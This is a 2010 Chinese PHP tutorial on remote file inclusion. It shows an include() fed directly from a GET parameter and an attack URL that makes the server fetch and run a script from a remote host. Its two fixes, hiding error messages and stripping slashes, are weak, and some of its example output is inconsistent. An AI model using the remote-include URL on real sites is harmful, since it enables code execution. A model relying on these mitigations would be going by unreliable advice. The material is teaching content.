PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
不用数据库的多用户文件自由上传投票系统(1)
Oct 09 PHP
用PHP实现读取和编写XML DOM代码
Apr 07 PHP
php中处理mysql_fetch_assoc返回来的数组 不用foreach----echo
May 04 PHP
PHP使用DES进行加密与解密的方法详解
Jun 06 PHP
php生成excel列序号代码实例
Dec 24 PHP
基于preg_match_all采集后数据处理的一点心得笔记(编码转换和正则匹配)
Jan 31 PHP
PHP结合JQueryJcrop实现图片裁切实例详解
Jul 24 PHP
php+xml编程之SimpleXML的应用实例
Jan 24 PHP
php计算多维数组中所有值总和的方法
Jun 24 PHP
php利用递归实现删除文件目录的方法
Sep 23 PHP
thinkphp项目如何自定义微信分享描述内容
Feb 20 PHP
总结一些PHP中好用但又容易忽略的小知识
Jun 02 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
PHP 加密解密内部算法
2010/04/22 PHP
PHP连接SQLServer2005的实现方法(附ntwdblib.dll下载)
2012/07/02 PHP
PHP实现生成带背景的图形验证码功能
2016/10/03 PHP
阿里云Win2016安装Apache和PHP环境图文教程
2018/03/11 PHP
当jQuery1.7遇上focus方法的问题
2014/01/26 Javascript
jquery通过select列表选择框对表格数据进行过滤示例
2014/05/07 Javascript
Js控制滑轮左右滑动实例
2015/02/13 Javascript
总结JavaScript三种数据存储方式之间的区别
2016/05/03 Javascript
js时间控件只显示年月
2017/01/08 Javascript
vue-cli的eslint相关用法
2017/09/29 Javascript
vue cli构建的项目中请求代理与项目打包问题
2018/02/26 Javascript
vue-router命名路由和编程式路由传参讲解
2019/01/19 Javascript
vue接入腾讯防水墙代码
2019/05/07 Javascript
D3.js的基础部分之数组的处理数组的排序和求值(v3版本)
2019/05/09 Javascript
微信小程序之 catalog 切换实现解析
2019/09/12 Javascript
JavaScript设计模式---单例模式详解【四种基本形式】
2020/05/16 Javascript
Javascript基于OOP实实现探测器功能代码实例
2020/08/26 Javascript
python对html代码进行escape编码的方法
2015/05/04 Python
浅析Python中的for 循环
2016/06/09 Python
使用Python绘制图表大全总结
2017/02/11 Python
Python实现图片转字符画的代码实例
2019/02/22 Python
Python随机数函数代码实例解析
2020/02/09 Python
jupyter 中文乱码设置编码格式 避免控制台输出的解决
2020/04/20 Python
keras自定义损失函数并且模型加载的写法介绍
2020/06/15 Python
使用python库xlsxwriter库来输出各种xlsx文件的示例
2020/09/01 Python
python3 googletrans超时报错问题及翻译工具优化方案 附源码
2020/12/23 Python
全面解析HTML5中的标准属性与自定义属性
2016/02/18 HTML / CSS
Under Armour美国官网:美国知名高端功能性运动品牌
2016/09/05 全球购物
德国网上超市:myTime.de
2019/08/26 全球购物
override和overload的区别
2016/03/09 面试题
幼儿园中班新学期寄语
2014/01/18 职场文书
实习单位指导教师评语
2014/12/30 职场文书
车队安全员岗位职责
2015/02/15 职场文书
初中家长意见
2015/06/03 职场文书
Python+uiautomator2实现自动刷抖音视频功能
2021/04/29 Python
使用python求解迷宫问题的三种实现方法
2022/03/17 Python